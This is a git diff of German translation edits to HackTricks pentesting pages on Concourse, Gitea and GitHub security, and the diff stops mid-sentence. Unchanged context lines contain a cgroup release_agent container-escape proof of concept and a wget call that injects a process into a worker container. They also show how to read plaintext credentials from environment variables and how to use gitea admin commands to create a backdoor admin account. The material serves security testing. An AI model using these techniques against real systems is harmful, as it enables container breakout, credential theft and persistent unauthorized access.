-- **Gelöschte** Pipeline erstellen +- Erstellte Pipeline **löschen** #### Benutzerdefinierte Aufgabe ausführen -Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganz neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird): +Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganze neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux @@ -197,11 +197,11 @@ SUPER_SECRET: ((super.secret)) ```bash fly -t tutorial execute --privileged --config task_config.yml ``` -#### Entkommen zum Knoten von privilegierter Aufgabe +#### Ausbrechen zum Knoten von privilegierter Aufgabe -In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies gibt dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass das Entkommen "komplexer" sein könnte. +In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies wird dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container geben. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass der Ausbruch "komplexer" sein könnte. -In der folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen zu entkommen: +In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen auszubrechen: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -262,9 +262,9 @@ cat /output > [!WARNING] > Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des cmd im Knoten geändert wird. -#### Escape zum Knoten von einem Worker-Container +#### Escaping zum Knoten von einem Worker-Container -Eine reguläre release_agent-Escape mit einer kleinen Modifikation ist dafür ausreichend: +Eine reguläre release_agent-Escape mit einer geringfügigen Modifikation ist dafür ausreichend: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -293,7 +293,7 @@ cat /output ``` #### Escaping to the node from the Web container -Auch wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er **nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst** du **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind). +Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, **läuft er nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst du** **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind). Allerdings speichert er **lokale Anmeldeinformationen im Klartext**: ```bash @@ -304,9 +304,9 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` -Du könntest diese Anmeldeinformationen verwenden, um **dich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**. +Sie könnten diese Anmeldeinformationen verwenden, um **sich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**. -In der Umgebung kannst du auch Informationen finden, um **auf die postgresql**-Instanz zuzugreifen, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen): +In der Umgebung finden Sie auch Informationen zum **Zugriff auf die postgresql**-Instanz, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen): ```bash env | grep -i postg CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -348,12 +348,12 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, sondern nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert. +Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knotens oder des release_agent **nicht** (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert. > [!NOTE] > Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also **Befehle** in einem **privilegierten Container** ausführen können, der vom **aktuellen** **Worker** erstellt wurde, könnten wir **zum Knoten entkommen**. -Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Containerprozesse zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich selbst erstellen. +Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich erstellen. **In einen laufenden privilegierten Container gelangen** ```bash @@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -Allerdings überprüft der Webserver alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden: +Der Webserver überprüft jedoch alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 567098037..91dba4197 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -Nachdem Sie die Concourse-Umgebung erstellt haben, können Sie ein Geheimnis generieren und dem SA, der in Concourse Web ausgeführt wird, Zugriff auf K8s-Geheimnisse gewähren: +Nachdem Sie die Concourse-Umgebung erstellt haben, können Sie ein Geheimnis generieren und dem SA, der in Concourse Web läuft, Zugriff auf K8s-Geheimnisse gewähren: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -81,11 +81,11 @@ Es können mehrere verschiedene Arten von Schritten verwendet werden: - der [`set_pipeline` Schritt](https://concourse-ci.org/set-pipeline-step.html) konfiguriert eine [Pipeline](https://concourse-ci.org/pipelines.html) - der [`load_var` Schritt](https://concourse-ci.org/load-var-step.html) lädt einen Wert in eine [lokale Variable](https://concourse-ci.org/vars.html#local-vars) - der [`in_parallel` Schritt](https://concourse-ci.org/in-parallel-step.html) führt Schritte parallel aus -- der [`do` Schritt](https://concourse-ci.org/do-step.html) führt Schritte in Folge aus +- der [`do` Schritt](https://concourse-ci.org/do-step.html) führt Schritte sequenziell aus - der [`across` Schrittmodifikator](https://concourse-ci.org/across-step.html#schema.across) führt einen Schritt mehrfach aus; einmal für jede Kombination von Variablenwerten - der [`try` Schritt](https://concourse-ci.org/try-step.html) versucht, einen Schritt auszuführen und hat Erfolg, selbst wenn der Schritt fehlschlägt -Jeder [Schritt](https://concourse-ci.org/steps.html) in einem [Job-Plan](https://concourse-ci.org/jobs.html#schema.job.plan) wird in **seinem eigenen Container** ausgeführt. Sie können alles, was Sie möchten, im Container ausführen _(d.h. meine Tests ausführen, dieses Bash-Skript ausführen, dieses Bild erstellen usw.)_. Wenn Sie also einen Job mit fünf Schritten haben, erstellt Concourse fünf Container, einen für jeden Schritt. +Jeder [Schritt](https://concourse-ci.org/steps.html) in einem [Job-Plan](https://concourse-ci.org/jobs.html#schema.job.plan) läuft in seinem **eigenen Container**. Sie können alles, was Sie möchten, im Container ausführen _(d.h. meine Tests ausführen, dieses Bash-Skript ausführen, dieses Bild erstellen usw.)_. Wenn Sie also einen Job mit fünf Schritten haben, erstellt Concourse fünf Container, einen für jeden Schritt. Daher ist es möglich, den Typ des Containers anzugeben, in dem jeder Schritt ausgeführt werden muss. @@ -127,7 +127,7 @@ fly -t tutorial intercept --job pipe-name/simple ### Bash-Skript mit Ausgabe/Eingabe-Pipeline -Es ist möglich, **die Ergebnisse einer Aufgabe in einer Datei zu speichern** und anzugeben, dass es sich um eine Ausgabe handelt, und dann die Eingabe der nächsten Aufgabe als die Ausgabe der vorherigen Aufgabe anzugeben. Was Concourse tut, ist, **das Verzeichnis der vorherigen Aufgabe in der neuen Aufgabe zu mounten, wo Sie auf die von der vorherigen Aufgabe erstellten Dateien zugreifen können**. +Es ist möglich, **die Ergebnisse einer Aufgabe in einer Datei zu speichern** und anzugeben, dass es sich um eine Ausgabe handelt, und dann die Eingabe der nächsten Aufgabe als Ausgabe der vorherigen Aufgabe anzugeben. Was Concourse tut, ist, **das Verzeichnis der vorherigen Aufgabe in der neuen Aufgabe zu mounten, wo Sie auf die von der vorherigen Aufgabe erstellten Dateien zugreifen können**. ### Trigger diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index a8a6555b4..83fce8e1c 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -27,15 +27,15 @@ Sie können es auch mit Kubernetes ausführen: helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` -## Unauthenticated Enumeration +## Unauthentifizierte Enumeration - Öffentliche Repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) - Registrierte Benutzer: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) - Registrierte Organisationen: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -Beachten Sie, dass **Gitea standardmäßig neuen Benutzern die Registrierung erlaubt**. Dies wird den neuen Benutzern keinen besonders interessanten Zugriff auf die Repos anderer Organisationen/Benutzer geben, aber ein **eingeloggter Benutzer** könnte in der Lage sein, **mehr Repos oder Organisationen zu visualisieren**. +Beachten Sie, dass **Gitea standardmäßig neuen Benutzern die Registrierung erlaubt**. Dies gibt den neuen Benutzern keinen besonders interessanten Zugriff auf die Repos anderer Organisationen/Benutzer, aber ein **eingeloggter Benutzer** könnte in der Lage sein, **mehr Repos oder Organisationen zu visualisieren**. -## Internal Exploitation +## Interne Ausnutzung Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein GitHub-Konto erhalten haben. @@ -46,7 +46,7 @@ Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb ei Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**. > [!NOTE] -> Beachten Sie, dass wenn Sie **es schaffen, den `i_like_gitea` Cookie zu stehlen** (der derzeit mit SameSite: Lax konfiguriert ist), können Sie **den Benutzer vollständig impersonifizieren**, ohne Anmeldeinformationen oder 2FA zu benötigen. +> Beachten Sie, dass wenn Sie **es schaffen, das `i_like_gitea`-Cookie zu stehlen** (derzeit mit SameSite: Lax konfiguriert), können Sie **den Benutzer vollständig impersonifizieren**, ohne Anmeldeinformationen oder 2FA zu benötigen. ### Mit Benutzer-SSH-Schlüssel @@ -58,7 +58,7 @@ Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in de # Get repo config and current user name and email git config --list ``` -Wenn der Benutzer seinen Benutzernamen als seinen gitea Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er festgelegt hat**, in _https://github.com/\.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann. +Wenn der Benutzer seinen Benutzernamen als seinen gitea Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann. **SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist. @@ -72,13 +72,13 @@ gpg --list-secret-keys --keyid-format=long ``` ### Mit Benutzer-Token -Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-gitea-information.md#personal-access-tokens). +Für eine Einführung über [**Benutzer-Token überprüfen Sie die grundlegenden Informationen**](basic-gitea-information.md#personal-access-tokens). Ein Benutzer-Token kann **anstatt eines Passworts** verwendet werden, um sich **gegenüber dem Gitea-Server** [**über die API**](https://try.gitea.io/api/swagger#/) zu **authentifizieren**. Es hat **vollständigen Zugriff** auf den Benutzer. ### Mit Oauth-Anwendung -Für eine Einführung über [**Gitea Oauth-Anwendungen siehe die grundlegenden Informationen**](./#with-oauth-application). +Für eine Einführung über [**Gitea Oauth-Anwendungen überprüfen Sie die grundlegenden Informationen**](./#with-oauth-application). Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren. @@ -86,45 +86,45 @@ Wie in den grundlegenden Informationen erklärt, hat die Anwendung **vollen Zugr ### Umgehung des Branch-Schutzes -In Github haben wir **github actions**, die standardmäßig ein **Token mit Schreibzugriff** auf das Repo erhalten, das verwendet werden kann, um **Branch-Schutzmaßnahmen zu umgehen**. In diesem Fall **existiert das nicht**, sodass die Umgehungen eingeschränkter sind. Aber schauen wir uns an, was getan werden kann: +In Github haben wir **github actions**, die standardmäßig ein **Token mit Schreibzugriff** auf das Repository erhalten, das verwendet werden kann, um **Branch-Schutzmaßnahmen zu umgehen**. In diesem Fall **existiert das nicht**, sodass die Umgehungen eingeschränkter sind. Aber schauen wir uns an, was getan werden kann: - **Push aktivieren**: Wenn jemand mit Schreibzugriff auf den Branch pushen kann, pushen Sie einfach darauf. - **Whitelist für eingeschränkten Push**: Auf die gleiche Weise, wenn Sie Teil dieser Liste sind, pushen Sie auf den Branch. - **Merge-Whitelist aktivieren**: Wenn es eine Merge-Whitelist gibt, müssen Sie darin sein. -- **Genehmigungen müssen größer als 0 sein**: Dann... müssen Sie einen anderen Benutzer kompromittieren. -- **Genehmigungen auf Whitelist beschränken**: Wenn nur Benutzer auf der Whitelist genehmigen können... müssen Sie einen anderen Benutzer kompromittieren, der in dieser Liste ist. -- **Veraltete Genehmigungen zurückweisen**: Wenn Genehmigungen nicht mit neuen Commits entfernt werden, könnten Sie einen bereits genehmigten PR hijacken, um Ihren Code einzufügen und den PR zu mergen. +- **Genehmigungen sind größer als 0 erforderlich**: Dann... müssen Sie einen anderen Benutzer kompromittieren. +- **Genehmigungen auf Whitelist beschränken**: Wenn nur Benutzer auf der Whitelist genehmigen können... müssen Sie einen anderen Benutzer kompromittieren, der auf dieser Liste steht. +- **Veraltete Genehmigungen zurückweisen**: Wenn Genehmigungen mit neuen Commits nicht entfernt werden, könnten Sie einen bereits genehmigten PR hijacken, um Ihren Code einzufügen und den PR zu mergen. -Beachten Sie, dass **wenn Sie ein Org/Repo-Admin sind**, Sie die Schutzmaßnahmen umgehen können. +Beachten Sie, dass **wenn Sie ein Org/Repo-Admin sind**, können Sie die Schutzmaßnahmen umgehen. ### Webhooks auflisten **Webhooks** sind in der Lage, **spezifische Gitea-Informationen an bestimmte Orte zu senden**. Sie könnten in der Lage sein, **diese Kommunikation auszunutzen**.\ Allerdings wird normalerweise ein **Geheimnis**, das Sie **nicht abrufen können**, im **Webhook** festgelegt, das **verhindert**, dass externe Benutzer, die die URL des Webhooks, aber nicht das Geheimnis kennen, **diesen Webhook ausnutzen**.\ -Aber in einigen Fällen setzen Leute anstelle des Setzens des **Geheimnisses** an seinem Platz, sie **setzen es in die URL** als Parameter, sodass **das Überprüfen der URLs** Ihnen ermöglichen könnte, **Geheimnisse** und andere Orte zu finden, die Sie weiter ausnutzen könnten. +In einigen Fällen setzen Menschen jedoch anstelle des **Geheimnisses** an seinem Platz, **es in der URL** als Parameter, sodass **das Überprüfen der URLs** Ihnen ermöglichen könnte, **Geheimnisse** und andere Orte zu finden, die Sie weiter ausnutzen könnten. Webhooks können auf **Repo- und Org-Ebene** festgelegt werden. -## Nach der Ausnutzung +## Post-Exploitation -### Innerhalb des Servers +### Auf dem Server -Wenn Sie es irgendwie geschafft haben, in den Server zu gelangen, auf dem Gitea läuft, sollten Sie nach der Gitea-Konfigurationsdatei suchen. Standardmäßig befindet sie sich in `/data/gitea/conf/app.ini`. +Wenn Sie es irgendwie geschafft haben, auf den Server zu gelangen, auf dem Gitea läuft, sollten Sie nach der Gitea-Konfigurationsdatei suchen. Standardmäßig befindet sie sich in `/data/gitea/conf/app.ini`. In dieser Datei finden Sie **Schlüssel** und **Passwörter**. Im Gitea-Pfad (standardmäßig: /data/gitea) finden Sie auch interessante Informationen wie: -- Die **sqlite** DB: Wenn Gitea keine externe DB verwendet, wird es eine sqlite DB verwenden. +- Die **sqlite** DB: Wenn Gitea keine externe DB verwendet, wird es eine SQLite-DB verwenden. - Die **Sitzungen** im Sitzungsordner: Durch Ausführen von `cat sessions/*/*/*` können Sie die Benutzernamen der angemeldeten Benutzer sehen (Gitea könnte auch die Sitzungen in der DB speichern). - Der **jwt private key** im jwt-Ordner. - Weitere **sensible Informationen** könnten in diesem Ordner gefunden werden. -Wenn Sie sich im Server befinden, können Sie auch **die `gitea`-Binary** verwenden, um Informationen zuzugreifen/zu ändern: +Wenn Sie sich auf dem Server befinden, können Sie auch die **`gitea`-Binary** verwenden, um Informationen zuzugreifen/zu ändern: - `gitea dump` wird Gitea dumpen und eine .zip-Datei generieren. - `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` generiert ein Token des angegebenen Typs (Persistenz). -- `gitea admin user change-password --username admin --password newpassword` Ändert das Passwort. -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Erstellt einen neuen Admin-Benutzer und erhält ein Zugriffstoken. +- `gitea admin user change-password --username admin --password newpassword` ändert das Passwort. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` erstellt einen neuen Admin-Benutzer und erhält ein Zugriffstoken. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index d2928bc19..1821f4c58 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -38,7 +38,7 @@ Beim Erstellen eines neuen Teams werden mehrere wichtige Einstellungen ausgewäh ### Teams & Benutzer -In einem Repo können der **Org-Admin** und die **Repo-Admins** (sofern von der Org erlaubt) die **Rollen** verwalten, die den Mitarbeitern (anderen Benutzern) und Teams zugewiesen sind. Es gibt **3** mögliche **Rollen**: +In einem Repo können der **Org-Admin** und die **Repo-Admins** (sofern von der Org erlaubt) die Rollen verwalten, die den Mitarbeitern (anderen Benutzern) und Teams zugewiesen sind. Es gibt **3** mögliche **Rollen**: - Administrator - Schreiben @@ -64,38 +64,38 @@ Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff ### Oauth-Anwendungen -Genau wie persönliche Zugriffstoken haben **Oauth-Anwendungen** **vollständigen Zugriff** auf Ihr Konto und die Orte, auf die Ihr Konto Zugriff hat, da, wie in den [Dokumenten](https://docs.gitea.io/en-us/oauth2-provider/#scopes) angegeben, Scopes noch nicht unterstützt werden: +Genau wie persönliche Zugriffstoken haben **Oauth-Anwendungen** **vollständigen Zugriff** auf Ihr Konto und die Orte, auf die Ihr Konto Zugriff hat, da, wie in den [Docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) angegeben, Scopes noch nicht unterstützt werden: ![](<../../images/image (194).png>) -### Bereitstellungsschlüssel +### Deploy-Schlüssel -Bereitstellungsschlüssel können Lese- oder Schreibzugriff auf das Repo haben, sodass sie interessant sein könnten, um spezifische Repos zu kompromittieren. +Deploy-Schlüssel können Lese- oder Schreibzugriff auf das Repo haben, sodass sie interessant sein könnten, um spezifische Repos zu kompromittieren. ## Branch-Schutz -Branch-Schutzmaßnahmen sind so konzipiert, dass sie **keine vollständige Kontrolle über ein Repository** an die Benutzer geben. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in der Lage ist, Code in einen bestimmten Branch zu schreiben**. +Branch-Schutzmaßnahmen sind darauf ausgelegt, **Benutzern nicht die vollständige Kontrolle über ein Repository zu geben**. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in der Lage ist, Code in einen bestimmten Branch zu schreiben**. Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://localhost:3000/\/\/settings/branches_ > [!NOTE] > Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden. -Verschiedene Schutzmaßnahmen können auf einen Branch angewendet werden (wie auf master): +Verschiedene Schutzmaßnahmen können auf einen Branch (wie auf master) angewendet werden: - **Push deaktivieren**: Niemand kann in diesen Branch pushen. - **Push aktivieren**: Jeder mit Zugriff kann pushen, aber nicht force pushen. -- **Whitelist eingeschränkter Push**: Nur ausgewählte Benutzer/Teams können in diesen Branch pushen (aber kein Force Push). -- **Whitelist für Merge aktivieren**: Nur auf die Whitelist gesetzte Benutzer/Teams können PRs mergen. -- **Statusprüfungen aktivieren:** Statusprüfungen müssen bestehen, bevor gemerged wird. -- **Genehmigungen erforderlich**: Geben Sie die Anzahl der erforderlichen Genehmigungen an, bevor ein PR gemerged werden kann. -- **Genehmigungen auf Whitelist beschränken**: Geben Sie Benutzer/Teams an, die PRs genehmigen können. +- **Whitelist eingeschränkter Push**: Nur ausgewählte Benutzer/Teams können in diesen Branch pushen (aber kein force push). +- **Whitelist für Merge aktivieren**: Nur aufgelistete Benutzer/Teams können PRs mergen. +- **Statusprüfungen aktivieren:** Erfordert, dass Statusprüfungen bestanden werden, bevor gemerged wird. +- **Genehmigungen erforderlich**: Gibt die Anzahl der erforderlichen Genehmigungen an, bevor ein PR gemerged werden kann. +- **Genehmigungen auf Whitelist beschränken**: Gibt Benutzer/Teams an, die PRs genehmigen können. - **Merge bei abgelehnten Überprüfungen blockieren**: Wenn Änderungen angefordert werden, kann es nicht gemerged werden (auch wenn die anderen Prüfungen bestehen). - **Merge bei offiziellen Überprüfungsanfragen blockieren**: Wenn es offizielle Überprüfungsanfragen gibt, kann es nicht gemerged werden. - **Veraltete Genehmigungen zurückweisen**: Bei neuen Commits werden alte Genehmigungen zurückgewiesen. - **Signierte Commits erforderlich**: Commits müssen signiert sein. - **Merge blockieren, wenn der Pull-Request veraltet ist.** -- **Geschützte/ungeschützte Dateimuster**: Geben Sie Muster von Dateien an, die gegen Änderungen geschützt/ungeschützt werden sollen. +- **Geschützte/ungeschützte Dateimuster**: Gibt Muster von Dateien an, die gegen Änderungen geschützt/ungeschützt werden sollen. > [!NOTE] > Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren.** diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index b2291d603..731c6debb 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -24,7 +24,7 @@ Falls Sie den **Benutzer, das Repo oder die Organisation, die Sie anvisieren mö ### Github Dorks -Github ermöglicht es, **nach etwas zu suchen, indem man als Umfang einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**. +Github ermöglicht es, **nach etwas zu suchen, indem man als Bereich einen Benutzer, ein Repo oder eine Organisation angibt**. Daher können Sie mit einer Liste von Zeichenfolgen, die in der Nähe sensibler Informationen erscheinen, leicht **nach potenziell sensiblen Informationen in Ihrem Ziel suchen**. Tools (jedes Tool enthält seine Liste von Dorks): @@ -32,9 +32,9 @@ Tools (jedes Tool enthält seine Liste von Dorks): - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks-Liste](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) - [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks-Liste](https://github.com/hisxo/gitGraber/tree/master/wordlists)) -### Github-Leaks +### Github Leaks -Bitte beachten Sie, dass die Github-Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen). +Bitte beachten Sie, dass die Github Dorks auch dazu gedacht sind, nach Leaks zu suchen, indem die Suchoptionen von Github verwendet werden. Dieser Abschnitt ist den Tools gewidmet, die **jedes Repo herunterladen und nach sensiblen Informationen darin suchen** (sogar bestimmte Tiefen von Commits überprüfen). Tools (jedes Tool enthält seine Liste von Regex): @@ -53,7 +53,7 @@ Tools (jedes Tool enthält seine Liste von Regex): Es ist möglich, **Repos zu kompromittieren, indem man Pull-Requests missbraucht**. Um zu wissen, ob ein Repo anfällig ist, müssen Sie hauptsächlich die Github Actions YAML-Konfigurationen lesen. [**Weitere Informationen dazu finden Sie unten**](./#execution-from-a-external-fork). -### Github-Leaks in gelöschten/internen Forks +### Github Leaks in gelöschten/internen Forks Selbst wenn sie gelöscht oder intern sind, könnte es möglich sein, sensible Daten aus Forks von Github-Repositories zu erhalten. Überprüfen Sie es hier: @@ -67,12 +67,12 @@ accessible-deleted-data-in-github.md Es gibt einige **Standardprivilegien**, die Mitgliedern der Organisation zugewiesen werden können. Diese können von der Seite `https://github.com/organizations//settings/member_privileges` oder von der [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) gesteuert werden. -- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen ist **None** oder **Read**. -- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht zu erlauben**, Organisation-Repositories zu forken. -- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht zu erlauben**, Seiten aus den Org-Repos zu veröffentlichen. Wenn nötig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben. +- **Basisberechtigungen**: Mitglieder haben die Berechtigung None/Read/write/Admin über die Repos der Organisation. Empfohlen wird **None** oder **Read**. +- **Repository-Forking**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Repositories der Organisation zu forken. +- **Seiten erstellen**: Wenn nicht notwendig, ist es besser, **Mitglieder nicht** zu erlauben, Seiten aus den Repos der Organisation zu veröffentlichen. Wenn notwendig, können Sie das Erstellen öffentlicher oder privater Seiten erlauben. - **Zugriffsanforderungen für Integrationen**: Mit dieser Aktivierung können externe Mitarbeiter den Zugriff auf GitHub oder OAuth-Apps anfordern, um auf diese Organisation und ihre Ressourcen zuzugreifen. Es ist normalerweise erforderlich, aber wenn nicht, ist es besser, es zu deaktivieren. - _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_ -- **Änderung der Repository-Sichtbarkeit**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie **nicht** möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist. +- **Änderung der Repository-Sichtbarkeit**: Wenn aktiviert, können **Mitglieder** mit **Admin**-Berechtigungen für das **Repository** die **Sichtbarkeit ändern**. Wenn deaktiviert, können nur Organisationsinhaber die Sichtbarkeit von Repositories ändern. Wenn Sie nicht möchten, dass Personen Dinge **öffentlich** machen, stellen Sie sicher, dass dies **deaktiviert** ist. - _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es tun_ - **Löschen und Übertragen von Repositories**: Wenn aktiviert, können Mitglieder mit **Admin**-Berechtigungen für das Repository **öffentliche und private Repositories löschen oder übertragen**. - _Ich konnte diese Informationen nicht in der API-Antwort finden, teilen Sie mit, wenn Sie es 